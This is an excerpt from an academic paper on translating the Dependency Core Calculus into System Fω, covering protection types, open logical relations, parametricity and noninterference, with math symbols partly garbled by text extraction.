two functions λx:αH.true and λx:αH.false are indistinguishable.
Meanwhile, an H-observer is given access to terms of type αH and
can use these as keys to gain access to the computation hidden inside
functions of type αH→ bool.

This type translation is simple and promising, but it does not
preserve observer-sensitive equivalence.

Counterexample to Tse-Zdancewic’s key lemma To see why the
above translation fails to preserve observer-sensitive equivalence,
consider the counterexample given by Shikuma and Igarashi [18].
DCC terms of the protected function type sf = T̀ ((T̀ bool)→ bool)
must be equivalent to η` (λx : T̀ bool. v), where v is either true or
false. In particular, Shikuma and Igarashi point out that the following
term is ill-typed due to the ` � s2 restriction in the typing rule for
bind (since ` � bool).

ef = η` (λx : T̀ bool. bind y = x in y) // ill typed!

Thus, the following two terms e1 and e2 are equivalent at type
s = sf → T̀ bool for an observer at level `, since the only functions
we can pass in for f are the constant functions above—i.e., we
cannot pass in non-constant functions such as ef (since they are not
well-typed).

e1 = λf : sf . bind f′ = f in η` (f′ (η` true))

e2 = λf : sf . bind f′ = f in η` (f′ (η` false))

While e1 and e2 are equivalent at type s at level ` in DCC, their
translations are not equivalent at the following type s+ in System F.

s+ = (α`→ ((α`→ bool)→ bool))→ (α`→ bool)

The term mf defined below, which corresponds to ef , can
distinguish the translations of e1 and e2:

mf = λk:α`.λy:α`→ bool. y k

Hence, we have two terms of type s that are equivalent (at `) in
DCC, but their translations are not equivalent at the type s+ (at

2 Following convention, we represent the level of the observer using the
meta-variable ζ rather than `.

`) in System F, which means that the translation fails to preserve
(observer-sensitive) equivalence.

How can we fix this problem? At a minimum, since the typing
rule for bind prevents us from concluding that ef : sf , we should not
be able to conclude that the corresponding (behaviorally equivalent)
target term mf is well-typed at s+f . In more detail, consider the
restrictions on the continuation inside ef that uses y : T̀ bool—i.e.,
that the bind expression inside ef must have a result type that is
protected at `. In contrast, there is no such restriction on the body
of mf that uses y : (T̀ bool)+. The problem is that this simple
encoding of the monadic type as a function fails to capture all of
the restrictions imposed by the typing rule for bind. We need to find
an alternative translation for types of the form T̀ s that captures
these restrictions so that for every e : T̀ s, all target-level uses of
the translation of e must satisfy the same constraints as the ones
imposed by the bind typing rule on source-level uses of e.

Our translation is more involved than this simple type translation
and requires higher-order polymorphism, but the way in which we
leverage higher-order relational parametricity when defining ≈ζ
at the target level (§5.3) is semantically pleasing and insightful
given the semantics of DCC. We define ≈ζ at the target-level by
instantiating a novel open logical relation for Fω , which interprets
types as relations on open terms rather than closed terms as is
standard. In §5.2 we explain why we need this. Our open logical
relation is inspired by Zhao et al.’s open logical relation for a linear
System F [22].

Need for back-translation As with all proofs of full abstraction,
a key step of our proof requires showing that for any target term
of translation type, m : s+, there exists a semantically equivalent
source term e : s. We formalize this via a “back-translation” relation
between target terms of type s+ and source terms of type s (§7.1).
The need for back-translation arises when proving that if two source
functions f1 and f2 are equivalent then their translations f1 and f2

are equivalent. To show the latter, we must assume that we’re given
two equivalent target-level arguments m1 and m2 and show that
f1 m1 is equivalent to f2 m2. The only way to proceed is by making
use of the equivalence of the source functions f1 and f2, but they can
only be applied to source-level inputs. If we could back-translate
m1 and m2 to source terms e1 and e2—which is exactly the failure
the counterexample exploits—then we could conclude that f1 e1 is
equivalent to f2 e2 which implies that f1 m1 is equivalent to f2 m2

since each of those source terms is semantically equivalent to the
corresponding target terms.

Our back-translation technique handles more complex lan-
guages compared to the “inverse translation” given by Shikuma
and Igarashi [17, 18]. Note that their source and target languages
are both simply-typed and, thus, in closer correspondence. This
simplifies the back-translation. By contrast, our target language
is more expressive than the source (e.g., Fω can encode natural
numbers, while DCC cannot). Back-translation in this setting is
more complicated. We give a more detailed comparison in §8.

Our translation: key ideas The idea for our type translation can
be explained by analogy with existential types and their well-known
encoding using universal types. As a starting point, notice that the
bind typing rule resembles the typing rule for unpacking a term of
existential type:

∆; Γ ` e1 : ∃α. τ ∆, α; Γ, x : τ ` e2 : τ2 α /∈ ftv(τ2)

∆; Γ ` unpack α, x = e1 in e2 : τ2

Note that, just as the bind rule requires the side condition ` � s2,
the unpack rule requires the side condition α /∈ ftv(τ2). This idea
inspires our translation, because a simple encoding captures this
side condition through parametricity.
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Recall that the encoding of existential types using universal types
captures all of the restrictions imposed by the unpack typing rule:

∃α. τ def
= ∀β. (∀α. τ → β)→ β

The above encoding says that an existential package is a data value
that, given a result type τ2 and a continuation, calls the continuation
to yield a final result. The continuation corresponds to the body of
an unpack: it takes a type α and a value of type τ , and uses them to
compute a result of type τ2. In particular, note that since α is not in
scope when we instantiate β, the above encoding perfectly captures
the α /∈ ftv(τ2) requirement from the unpack typing rule since we
cannot instantiate β with any τ2 with a free α.

We can analogously capture the constraints in the bind typing
rule by encoding monadic types roughly as follows:

(T̀ s)+
roughly

= ∀β. (J` � βK× (s+→ β))→ β

This encoding says that a protected computation is a data value
that, given a result type t2, a proof that t2 is protected at `—which
we informally write as J` � t2K for now and formalize below—
and a continuation, calls the continuation to yield a final result.
The continuation here corresponds to the body of a bind: it takes a
computation of type s+ and uses it to compute a result of type t2. In
particular, note that we must provide a proof that the result type of
the continuation is protected at `, only then will this data value call
the continuation to compute a result.

The remaining question then is how to encode the type J` � t2K.
Note that we should only be able to construct a term with the
“protection type” J` � t2K if ∃s2.t2 = s+2 and ` � s2. First, like
Tse-Zdancewic, we shall use type variables α` to encode each
` ∈ L`. Then, our desired “protection type” can be built using
an abstract type constructor α� :: ∗ → ∗ → ∗ applied to the
types α` and t2. That is, we shall represent J` � t2K with the
protection type (α� α` t2). Of course, in addition to introducing
the higher-kinded abstract type α� and a set of type variables α`::∗
for each ` ∈ L`, we must also provide an interface for constructing
terms of protection type—e.g., given terms of type (α� α` t1)
and (α� α` t2), we should be able to construct a term of type
(α� α` (t1× t2)). The types of these proof constructors mirror
the protection rules in DCC.

Thus, our translation uses higher-order polymorphism to encode
DCC’s protection judgment at the target-level. To summarize, we
translate monadic types as follows:

(T̀ s)+ = ∀β::∗. ((α� α` β)× (s+→ β))→ β

We describe the details of the translation in the next section.

4. Translating DCC to Fω
In this section, we begin by presenting the target language Fω and
then give a type-directed translation from DCC to Fω .

Target language: Fω The target language Fω is the call-by-name,
higher-order polymorphic lambda calculus with unit, pairs, and sums.
Figure 2 presents the syntax and excerpts of the static semantics. We
omit much of the formal presentation as the language is completely
standard (e.g., see Pierce [15]).

Typing judgments in Fω have the form ∆; Γ `m : t, which says
that an Fω term m has type t under type environment ∆ and term
environment Γ. The kinding judgment ∆ ` t :: κ says that a type
t has kind κ under type environment ∆, where ∆ maps abstract
types α to kinds κ. Since we have type-level functions, i.e., type
constructors, we define type equivalence t1 ≡ t2 to account for
beta-reduction at the type-level.

Translation We start by defining a translation from DCC types to
Fω types, shown in Figure 3. We write s+ to mean the translation
of the DCC type s. Most types are translated by structural recursion.
As discussed above, the monadic type T̀ s is translated to the type

Kinds κ ::= ∗ | κ→ κ
Types t ::= 1 | t1× t2 | t1→ t2 | α | ∀α::κ. t | t1+ t2 |

λα::κ.t | t1 t2
Values u ::= x | 〈〉 | 〈m1,m2〉 | λx:t.m | Λα::κ.m | inji m
Terms m ::= u | prji m | m1 m2 | m [t] |

case m of inj1 x1.m1 || inj2 x2. m2

∆ ` t :: κ Type Env. ∆ ::= · | ∆,α :: κ
Term Env. Γ ::= · | Γ,x : t

· · ·
α :: κ ∈∆

∆ ` α :: κ

∆,α :: κ ` t :: ∗
∆ ` ∀α::κ. t :: ∗

∆,α :: κ1 ` t :: κ2

∆ ` λα::κ.t :: κ1→ κ2

∆ ` t1 :: κ1→ κ2 ∆ ` t2 :: κ1

∆ ` t1 t2 :: κ2

∆; Γ `m : t

· · ·
∆; Γ,x : t1 `m : t2 ∆ ` t1 :: ∗

∆; Γ ` λx:t1.m : t1→ t2

∆,α :: κ; Γ `m : t

∆; Γ ` Λα::κ.m : ∀α::κ. t

∆; Γ `m : ∀α::κ. t1 ∆ ` t2 :: κ

∆; Γ `m [t2] : t1[t2/α]

∆; Γ `m : t1 t1≡ t2 ∆ ` t2 :: ∗
∆; Γ `m : t2

t ≡ t′

· · ·
t1≡ t2

λα::κ.t1≡ λα::κ.t2

t1≡ t′1 t2 ≡ t′2
t1 t2 ≡ t′1 t′2

(λα::κ.t1) t2 ≡ t1[t2/α]

Figure 2. Fω: Syntax and Static Semantics (excerpts)

L+` = {α` :: ∗ | ` ∈ L`} ∪ {α� :: ∗→ ∗→ ∗}
L+v = {c`′` : α`′ → α` | ` v `′ ∈ Lv}

s+ where L+
` ` s+ :: ∗

1+ = 1

(s1 × s2)+ = s+1 × s+2

(s1 + s2)+ = s+1 + s+2
(s1→ s2)+ = s+1 → s+2

(T̀ s)+ = ∀β::∗. ((α� α` β)× (s+→ β))→ β

Figure 3. DCC to Fω: Lattice (top) and Type (bottom) Translations

of a polymorphic function that expects a continuation and a proof
that the result type of the continuation is protected at label `. This
requires encoding labels and the DCC ` � s judgment in Fω .

Following Tse and Zdancewic [19], we encode the labels of the
DCC lattice by generating a fresh abstract type α` for each ` in L`,
defined as L+` in Figure 3. To encode the ordering on labels, Lv, we
generate coercion functions c`′` if `v `′, defined as L+v in Figure 3;
informally, these allow us to convert a higher label `′ to a lower
label `.

To support encoding of the protection judgment ` � s, our
translation L+` also introduces an abstract type constructor α�.
When we use the type constructor α� in the translation, it takes a
type representing a label (i.e., an α`) and some type s+, and returns
a type representing a proof that s+ is protected at `.3 We will refer

3 Syntactically, it appears that the proof constructors for α� could be applied
to types other than α` and s+, but we prevent this via parametricity using
the relational interpretation given in §5.
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�+ proof constructors
p1 : ∀β`::∗. (α� β` 1),
p× : ∀β`::∗.∀α1::∗.∀α2::∗.

((α� β` α1)× (α� β` α2))→ (α� β` (α1 × α2)),
p→ : ∀β`::∗.∀α1::∗.∀α2::∗.

(α� β` α2)→ (α� β` (α1→ α2)),
pT1

: ∀β`::∗.∀β`′ ::∗.∀α::∗. (α� β` α)→
(α� β` (∀β::∗. ((α� β`′ β)× (α→ β))→ β))

pT2
: ∀β`::∗.∀β`′ ::∗.∀α::∗. (β`′ → β`)→

(α� β` (∀β::∗. ((α� β`′ β)× (α→ β))→ β)),

pfJ` � sK : (α� α` s+) proof-term construction

pfJ` � 1K def
= p1 [α`]

pfJ` � s1 × s2K
def
= p× [α`] [s+1 ] [s+2 ] 〈pfJ` � s1K,pfJ` � s2K〉

pfJ` � s1→ s2K
def
= p→ [α`] [s+1 ] [s+2 ] pfJ` � s2K

pfJ` � T̀ ′ sK def
= pT1

[α`] [α`′ ] [s+] pfJ` � sK if ` � s and ` v/ `′
pT2

[α`] [α`′ ] [s+] c`′` if ` v `′

Figure 4. Fω: Protection Proofs

to this fully applied type (α� α` s+) as a protection type. Since
the type constructor is abstract, the only terms that can inhabit a
protection type are terms built using the provided proof constructors.

Figure 4 shows �+ which contains the constructors for terms
of protection types (i.e., the proof constructors). In essence, these
constructors encode the inference rules of the ` � s judgment. Each
constructor is named suggesting the rule from the ` � s judgment
which the constructor encodes. For instance, p1 encodes the rule for
` � 1, that any label is protected at the unit type.

During term translation, we need to construct terms that inhabit
a protection type (i.e., protection proofs). We provide a function
pfJ` � sK for constructing protection proofs by induction on a given
derivation of ` � s. Note that pfJ` � sK yields the following lemma.

Lemma 4.1
If ` � s then ∃m. L+` ;L+v,�

+ `m : (α� α` s+)

That is, if a source type is protected at some label `, then a protection
proof exists, namely pfJ` � sK, for the translated type and label
under L+` ;L+v,�

+ (which we refer to as the protection ADT).
The translation judgment Γ ` e : s ; m takes an open source

term e of type s and produces the target term m. The term m has
type s+ under the type environment L+` and the term environments
L+v, �+, and Γ+. We write Γ+ to mean the point-wise translation of
x : s ∈ Γ to x : s+.

Since DCC and Fω share the same basic constructs, we translate
most terms by structural recursion. The translation of an η` value
expects a continuation and a protection proof, so the translation of
bind must produce such a proof and continuation. Several translation
rules are presented in Figure 5.

Γ ` e : s ; m where L+` ;L+v,�
+, Γ+ `m : s+

Γ ` 〈〉 : 1 ; 〈〉
(x : s) ∈ Γ

Γ ` x : s ; x

Γ , x : s ` e : s2 ; m

Γ ` λx : s1. e : s1→ s2 ; λx:s+1 .m

Γ ` e1 : s1→ s2 ; m1 Γ ` e2 : s1 ; m2

Γ ` e1 e2 : s2 ; m1 m2
· · ·

Γ ` e : s ; m where t = ((α� α` β)× (s+→ β))

Γ ` η` e : T̀ s ; Λβ::∗.λx:t.((prj2 x) m)

Γ ` e1 : T̀ s1 ; m1 Γ , x : s1 ` e2 : s2 ; m2 ` � s2

Γ ` bind x = e1 in e2 : s2 ; m1 [s+2 ] 〈pfJ` � s2K,(λx:s+1 .m2)〉

Figure 5. DCC to Fω: Term Translation (excerpts)

Atom [s] = { (e1, e2) | ` e1 : s ∧ ` e2 : s }
VJ1Kζ = { (〈〉, 〈〉) ∈ Atom [1] }
VJs× s′Kζ = {(〈e1, e′1〉, 〈e2, e′2〉) ∈ Atom [s× s′] |

(e1, e2) ∈ EJsKζ ∧ (e′1, e
′
2) ∈ EJs′Kζ}

VJs + s′Kζ = {(inj1 e1, inj1 e2) ∈ Atom [s + s′] | (e1, e2)∈ EJsKζ}
∪ {(inj2 e1, inj2 e2) ∈ Atom [s + s′] | (e1, e2)∈ EJs′Kζ}

VJs′→ sKζ = {(λx : s′. e1, λx : s′. e2) ∈ Atom [s′→ s] |
∀(e′1, e′2) ∈ EJs′Kζ .(e1[e′1/x], e2[e′2/x]) ∈ EJsKζ}

VJT̀ sKζ = {(η` e1, η` e2) ∈ Atom [T̀ s] |
` v ζ =⇒ (e1, e2) ∈ EJsKζ}

EJsKζ = {(e1, e2) ∈ Atom [s] | ∃v1, v2.
e1 7−→∗ v1 ∧ e2 7−→∗ v2 ∧ (v1, v2) ∈ VJsKζ}

GJ·Kζ = (∅, ∅)
GJΓ , x : sKζ = {(γ1 [x 7→ e1] , γ2 [x 7→ e2]) | (γ1, γ2) ∈ GJΓKζ ∧

((e1, e2) ∈ EJsKζ)}
Γ ` e1 ≈ζ e2 : s

def
= Γ ` e1 : s ∧ Γ ` e2 : s ∧
∀(γ1, γ2) ∈ GJΓKζ . (γ1(e1), γ2(e2)) ∈ EJsKζ

Figure 6. DCC: Logical Relation

Lemma 4.2 (Translation preserves well-typedness)
If Γ ` e : s then Γ ` e : s ; m and L+` ;L+v,�

+, Γ+ `m : s+.

5. Observer-Sensitive Equivalence
In this section, we define a notion of observer-sensitive equivalence
for DCC that is formalized using a logical relation. This logical
relation is essentially the same as the one defined by Tse and
Zdancewic [19]. We also define a novel open logical relation for Fω
and then formalize an observer-sensitive equivalence for Fω using
higher-order parametricity.

5.1 Logical Relation for DCC
The logical relation for DCC, written Γ ` e1 ≈ζ e2 : s, says that e1
and e2 appear equivalent from the perspective of an observer at level
ζ. The relation is defined in Figure 6 and enforces that an observer
whose label in the lattice is ζ cannot distinguish data protected at a
lattice level higher than (or incomparable to) ζ.

The logical relation is defined by structural recursion on types.
The value relation VJsKζ relates closed values at type s. We use
the relation Atom [s] to ensure that the logical relation relates only
well-typed terms.

The value 〈〉 appears equivalent to itself at type 1 to an observer
at any level. Sums inj1 e1 and inj1 e2 appear equivalent at type s + s′

to an observer at level ζ if e1 and e2 appear equivalent at type s to
the observer, and similarly for the second injections at type s′. Pairs
are related if their components are related at their respective types.
Functions are related if, given inputs related at the argument type,
they produce results related at the result type. The values η` e1 and
η` e2 are related at type T̀ s if the observer ζ is lower than `, or if e1
and e2 appear equivalent to the observer at type s. This captures the
idea that an observer at a level lower than ` is unable to distinguish
η` e1 from η` e2.

The relation EJsKζ relates closed terms if they reduce to related
values. We extend the logical relation to open terms e1 and e2 by
picking substitutions γ1 and γ2 that map variables to terms related
at the corresponding types in Γ , and requiring that the closed terms
γ1(e1) and γ2(e2) be related.

The fundamental property of this logical relation is noninterfer-
ence, formally stated in Theorem 5.2. The key property enforced by
the logical relation is that any two terms whose type is protected at
level ` are related if the observer ζ is lower than or incomparable
to `. This property, stated in Lemma 5.1 is similar to Abadi et al.’s
Proposition 3.2 [2].
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Atom [t1, t2]D;G = {(m1,m2) | D ` t1 ∧ D ` t2 ∧
D; G `m1 : t1 ∧ D; G `m2 : t2}

Atom [t]D;G
ρ = Atom [ρ1(t),ρ2(t)]D;G

RelD;G
∗ = { (t1, t2,R) | R ⊆ Atom [t1, t2]D;G}

RelD;G
κ→ κ′ = {(t1, t2,R) | (∀π ∈ RelD;G

κ .

(t1π1, t2 π2, (R π)) ∈ RelD;G
κ′ ∧

(∀π′ ∈ RelD;G
κ . π ≡D;G

κ π′ =⇒
R π ≡D;G

κ′ R π′}

π ≡D;G
κ π

def
= π1 ≡ π′1 ∧ π2 ≡ π′2 ∧ πR ≡D;G

κ π′R
R ≡D;G
∗ R′

def
= (m1,m2) ∈ R ⇐⇒ (m1,m2) ∈ R′

R ≡D;G
κ1 → κ2 R′

def
= ∀π ∈ RelD;G

κ1 .R π ≡D;G
κ2 R′ π

T Jt :: ∗KD;G
ρ = VJtKD;G

ρ

if t ∈ {1,α, t1+ t2, t1× t2, t1→ t2,∀α::κ. t}
T Jα :: κ1→ κ2KD;G

ρ = ρR(α)

T Jλα::κ1.t :: κ1→ κ2KD;G
ρ = λRπ.T Jt :: κ2KD;G

ρ[α::κ1 7→π]

T Jt t′ :: κ2KD;G
ρ = (T Jt :: κ1→ κ2KD;G

ρ

(ρ1 t′,ρ2 t′,T Jt′ :: κ1KD;G
ρ ))

VJαKD;G
ρ ={ (m1,m2) ∈ ρR(α) }

...
VJt′→tKD;G

ρ ={(λx:t′1.m1,λx:t′2.m2)∈Atom [t′→t]D;G
ρ |

∀(m′1,m′2) ∈ EJt′KD;G
ρ .

(m1[m′1/x],m2[m′2/x]) ∈ EJtKD;G
ρ }

VJ∀α::κ. tKD;G
ρ ={(Λα::κ.m1,Λα::κ.m2) ∈ Atom [∀α::κ. t]D;G

ρ |
∀π ∈ RelD;G

κ .

(m1[π1/α],m2[π2/α]) ∈ EJtKD;G
ρ[α::κ 7→π]

}
VJt t′KD;G

ρ =T Jt t′ :: ∗KD;G
ρ

EJtKD;G
ρ ={(m1,m2) ∈ Atom [t]D;G

ρ |
∃m′1,m′2.m1 7−→∗ m′1 ∧ m2 7−→∗ m′2 ∧
irred(m′1) ∧ irred(m′2) ∧ (m′1,m

′
2)∈VJtKD;G

ρ }
DJ·KD;G =∅
DJ∆,α ::κKD;G={ρ [α :: κ 7→ π] | ρ ∈ DJ∆KD;G ∧ π ∈ RelD;G

κ }

GJ·KD;G
ρ =(∅, ∅)

GJΓ,x : tKD;G
ρ ={(γ1 [x 7→m1] ,γ2 [x 7→m2]) |

(γ1,γ2) ∈ GJΓKD;G
ρ ∧ (m1,m2) ∈ EJtKD;G

ρ }

∆; Γ `m1 ≈m2 : t
def
= ∆; Γ `m1 : t ∧ ∆; Γ `m2 : t ∧ ∀D,G,ρ,γ1,γ2. dom(D)#dom(∆) ∧ dom(G)#dom(Γ) ∧

ρ ∈ DJ∆KD;G ∧ (γ1,γ2) ∈ GJΓKD;G
ρ =⇒ (ρ1(γ1(m1)),ρ2(γ2(m2))) ∈ EJtKD;G

ρ

Figure 7. Fω: Logical Relation (excerpts)

Lemma 5.1
If ` � s and ` v/ ζ then ∀(e1, e2) ∈ Atom [s] .(e1, e2) ∈ EJsKζ

Theorem 5.2 (Noninterference)
If Γ ` e : s then ∀ζ.Γ ` e ≈ζ e : s

We prove Theorem 5.2 directly by induction on the typing
judgment, which requires Lemma 5.1 in the bind case. In §7.2,
we will also show that noninterference follows as a consequence of
our translation and parametricity in the target language.

5.2 An Open Logical Relation for Fω
We formalize equivalence in Fω via an open logical relation whose
structure resembles that of the logical relation for Rω given by
Vytiniotis and Weirich [20]. The main difference is that we interpret
types as relations on open terms with open types—instead of closed
terms of closed type, as is standard practice—following ideas from
Zhao et al.’s [22] open logical relation for a linear System F.
Specifically, our value relation V and term relation E for Fω may
relate open terms with open types, unlike the V and E relations for
DCC which relate closed terms of closed type.

We need an open logical relation due to our type translation.
Recall from §3 that when proving that equivalence of functions is
preserved, we have two arguments m1 and m2 related by the Fω
term relation E. We must show that we can back-translate these to
two related source terms e1 and e2. In order to back-translate m1

and m2, we must know they have a translation type, since only
terms of translation type can be back-translated (see §7.1). However,
our translation produces types that contain free variables α� and
α`, and terms with the free variables from �+. If our Fω relation
closed these free variables, as is standard, then terms that belong to
the relation E will not have translation type, and we will not be able
to back-translate them.

Figure 7 presents the open logical relation for Fω . As usual, the
top-level logical relation ∆; Γ ` m1 ≈ m2 : t requires that we
close all the free variables of ∆ and Γ in m1 and m2 choosing
a relational type interpretation ρ and related term substitutions γ1

and γ2. However, in contrast to a standard logical relation, such as
our logical relation for DCC, these substitutions contain terms that
may be open with respect to a fresh type environment D and term

environment G. By fresh, we mean the domains of the environments
D and G are disjoint from ∆ and Γ, written dom(D)#dom(∆) and
dom(G)#dom(Γ). In effect, this allows us to extend the logical
relation with new constants and leverage these when we provide
relational interpretations for the original type variables. In §5.3,
we show how we take advantage of this extra expressive power to
extend the logical relation with constants for our protection ADT
and relational interpretations for the type variables in L+` .

We define a value relation V and a term relation E which
are inhabited by open terms that are well-typed under D; G. The
relations are indexed by a type t such that ∆ ` t :: κ. Hence, the
relations need to be parameterized by a relational interpretation
ρ which maps the free type variables α in ∆ to triples (t1, t2,R)
(abbreviated π). The types t1 and t2 must be well-formed under
D rather than ∆, and are the types we substitute for α in pairs of
related terms. We write π1 and π2 to denote the projections of t1and
t2 from π, and πR to denote the projection of R from π. We extend
this notation to ρ; if ρ = [α1 :: κ1 7→ π1] . . . [αn :: κn 7→ πn], then
ρ1 = [α1 7→ π1

1] . . . [αn 7→ πn
1 ], and we analogously use ρ2 and

ρR. Finally, we write ρ1(m) to denote applying the substitution ρ1

to all the type variables in m. We use similar notation for application
of other substitutions to terms and types.

The relation EJtKD;G
ρ runs terms until they are irreducible, and

then requires that the irreducible terms be related in VJtKD;G
ρ . Note

that unless t is α, the terms must reduce to values of the appropriate
canonical form for type t. If t is α, ρR(α) can be a relation on terms
with free (term and type) variables and VJαKD;G

ρ relates terms that
are not values. This follows the formalism by Zhao et al. [22].

As usual, when relating the values Λα::κ.m1 and Λα::κ.m2 in
VJ∀α::κ. tKD;G

ρ , we consider arbitrary types t1and t2 and a relation
object R. At kind ∗, relation objects are just sets of terms. At kind
κ1→ κ2, relation objects are relation-level functions. Intuitively,
relation-level functions take relations as inputs and produce relations
as outputs. Formally, relation-level functions written λRπ.R take
triples π and produce relation objects. We write (Rπ) as the
application of the relation-level function R to π.

The relation objects for all types, including the higher-kinded
types, are defined inductively on the judgment ∆ ` t :: κ by
T Jt :: κKD;G

ρ . When t has kind ∗, this is just the relation VJtKD;G
ρ .
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L+` ;L+v,�
+, Γ+ `m1 ≈ζ m2 : s+

def
=

L+` ;L+v,�
+, Γ+ `m1 : s+ ∧ L+` ;L+v,�

+, Γ+ `m1 : s+∧
let ρ = JL+` KΣζ ,γv = JL+vK,γ� = J�+Kin
∀(γ1,γ2) ∈ GJΓ+KΣρ .

(ρ1(γv(γ�(γ1(m1)))),ρ2(γv(γ�(γ2(m2))))) ∈ EJs+KΣρ

Figure 8. Fω: Observer-Sensitive Logical Relation

Σ =D`; G`,G� Note ΣD = D` and ΣG = G`,G�
D` ={α̂` :: ∗ | ` ∈ L`} ∪ {α̂� :: ∗→ ∗→ ∗}
G` ={ĉ``′ : α̂`→ α̂`′ | `′ v ` ∈ Lv}
G�={p̂1 : ∀β`::∗. (α̂� β` 1),

p̂× : ∀β`::∗.∀α1::∗.∀α2::∗.
((α̂� β` α1)×(α̂� β` α2))→ (α̂� β` (α1×α2)),

p̂→ : ∀β`::∗.∀α1::∗.∀α2::∗. (α̂� β` α2)→
(α̂� β` (α1→ α2)),

p̂T1
: ∀β`::∗.∀β`′ ::∗. (α̂� β`′ t)→
(α̂� α̂` (∀β::∗. ((α� β`′ β)× (t→ β))→ β))

p̂T2
: ∀β`::∗.∀β`′ ::∗.∀α::∗. (β`′ → β`)→
(α̂� β` (∀β::∗. ((α� β`′ β)× (α→ β))→ β))}

Figure 9. Fω: Open Protection ADT

For type-level functions λα::κ.t, we construct a relation-level
function that takes a triple π and produces a relation object where ρ
is extended to map α to π. For type application t t′ :: κ2, we apply
the inductively defined relation-level function for t :: κ1→ κ2 to
the closed types ρ1(t′), ρ2(t′), and the inductively defined relation
object for t′ :: κ1.

The setRelD;G
κ defines well-formed relations. Formally,RelD;G

κ

contains triples π where πR is a relation object defined on types
π1 and π2. For kind ∗, a relation is well-formed if it relates well-
typed terms. For higher kinds, a relation object R is well-formed
if, for equivalent inputs π and π′, it produces equivalent outputs
R π and R π′.

We prove the fundamental property of this logical relation, stated
in Theorem 5.3 (Parametricity). The proof essentially follows that
of Vytiniotis and Weirich [20].

Theorem 5.3 (Parametricity)
If ∆; Γ `m : t then ∆; Γ `m ≈m : t

5.3 Observer-Sensitive Relation for Fω
To prove that observer-sensitive equivalence is preserved, we need
an observer-sensitive relation for Fω . Recall that the DCC logical
relation is indexed by an observer ζ, but so far the Fω relation is
simply ∆; Γ ` m1 ≈ m2 : t. In Figure 8, we define the relation
L+` ;L+v,�

+, Γ+ ` m1 ≈ζ m2 : s+ referenced in §3. We explain
the interpretations JL+` KΣζ , JL

+
vK and J�+K in detail shortly. For now,

note that we pick the relational interpretation ρ based on the observer
ζ. This is where we use parametricity to encode the notion of an
observer and the properties necessary to preserve noninterference.

Recall that we must be able to back-translate terms given only
that they are in the EJtKD;G

ρ relation. We need to pick a particular
D; G that allows us to implement the protection ADT and still
identify translation types. In Figure 9 we provide an open protection
ADT D`; G`,G�, abbreviated Σ. This open ADT is simply an
alpha-renaming of our protection ADT, adding a hat symbol (ˆ) to
each name. This satisfies the freshness condition for D; G and we
can still identify translation types.

In Figure 10, we provide implementations of�+ and L+v, written
J�+K and JL+vK in terms of the open ADT Σ. Recall that the
V relation for Fω only relates stuck terms at abstract types. We
ensure the new open constructors can only appear fully applied by

JL+vK = { c``′ 7→ λx:α̂`.ĉ``′ x | `′ v ` ∈ Lv }
J�+K = {p1 7→ Λβ`::∗.p̂1 [β`],

p× 7→ Λβ`::∗.Λα1::∗.Λα2::∗.
λx:((α̂� β` α1)× (α̂� β` α2)).

p̂× [β`] [α1] [α2] x,
· · · }

Figure 10. Fω: Impl. of Coercions & Proof Constructors (excerpts)

JL+` KΣζ ={α` :: ∗ 7→ (α̂`, α̂`, Atom [α̂`, α̂`]
Σ) | ` ∈ L`}

∪
{α� :: ∗→ ∗→ ∗ 7→

(λβ`::∗.λβ::∗.(α̂� β` β), λβ`::∗.λβ::∗.(α̂� β` β),
λR(t1, t2,R`).λR(t′1, t

′
2,Rβ).

{(m1,m2) ∈ Atom
[
(α̂� t1 t′1), (α̂� t2 t′2)

]Σ |
t1 = α̂` ∧ t2 = α̂`∧
∃s+1 .t′1 = s+1 ∧ ` � s1 ∧ ∃s+2 .t′2 = s+2 ∧ ` � s2 ∧
(` v/ ζ =⇒ Rβ = Atom

[
t′1, t
′
2

]Σ
)}}

Figure 11. Fω: Relational Interpretation of Labels and α�

implementing the original constructors as eta-expansions of the new
constructors.

In Figure 11, we build the notion of an observer into the
interpretation of α�. In particular, we build in the key property given
by Lemma 5.1. The relation on α� requires that if the observer is too
low, then every well-typed term of the protected type must be related.
Since α� is a higher-kinded type, we encode this property using
a relation-level function. When the observer is too low, we require
that all well-typed terms are in Rβ—the relation given for terms of
the protected type. The relation also enforces that a protection proof,
i.e., a term of type (α� α` s+), actually implies `� s. We can only
state this condition since each α̂` is left free. That is, by leaving the
types α̂` free, we are able to interpret each α̂` as new a base type
encoding the lattice labels from DCC. Using these new base types,
we can define a relational interpretation for α� that encodes the key
property needed to show that noninterference is preserved.

These requirements turn into proof obligations to users of a
protected expression: to produce related protection proofs, you
must prove that low observers cannot distinguish protected terms
by providing an Rβ that relates all appropriately typed terms if
the observer is too low. Hence, the existence of a protection proof
corresponds to the DCC protection judgment.

Thus we have encoded, using parametricity, the requirement of
noninterference in Fω: a low observer cannot distinguish protected
terms. That is, using this relational interpretation, any proof that a
type is protected also proves that, if the observer is not permitted
to see the protected type then any two terms of that type are
indistinguishable.

6. Translation Preserves Semantics
To prove that the translation preserves semantics, like Tse and
Zdancewic, we define a cross-language logical relation that relates
source terms of type s to target terms of type s+. The relation is
defined by induction on source types s.

The cross-language relation is defined in Figure 12. The relation
V+
ζ JsKΣδ specifies when a DCC value v : s is related (i.e., seman-

tically equivalent) to an Fω value Σ ` u : δ(s+). The relation is
parametrized by our open protection ADT Σ. (We write ΣD to
refer to the D` component of Σ and ΣG to refer to the components
G`,G�.) The type substitution δ maps types from our protection
ADT to corresponding types in the open protection ADT. Note that
the relation is also indexed by an observer ζ. This seems strange
since clearly semantic equivalence should be independent of an
observer. We discuss this issue below.

Most values are related in the obvious way: 〈〉 is related to 〈〉,
pairs are related if they contain related components, and functions
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η`,sk
def
= λy:s+.Λβ::∗.λx:((α� α` β)× (s+→ β)).

((prj2 x) y)

Atom+[s]Σδ = {(e,m) | · ` e : s ∧ ΣD ` δ(s+) ∧
ΣD; ΣG `m : δ(s+)}...

V+
ζ Js′→ sKΣδ = {(λx : s′. e,λx:δ((s′)+).m) ∈ Atom+[s′→ s]Σδ |

∀e′,m′.(e′,m′) ∈ E+ζ Js′KΣδ =⇒
(e[e′/x],m[m′/x]) ∈ E+ζ JsKΣδ }

V+
ζ JT̀ sKΣδ = {(η` e,Λβ::∗.m) ∈ Atom+[T̀ s]Σδ |

let ρ = JL+` KΣζ ∧ xp = pfJ` � T̀ sK in
∃m′.ΣD; ΣG `m′ : δ(s+) ∧
(m[(T̀ s)+/β] 〈xp,η

`,s
k 〉, η

`,s
k m′) ∈ EJ(T̀ s)+KΣρ ∧

(e,m′) ∈ E+ζ Js+KΣδ }
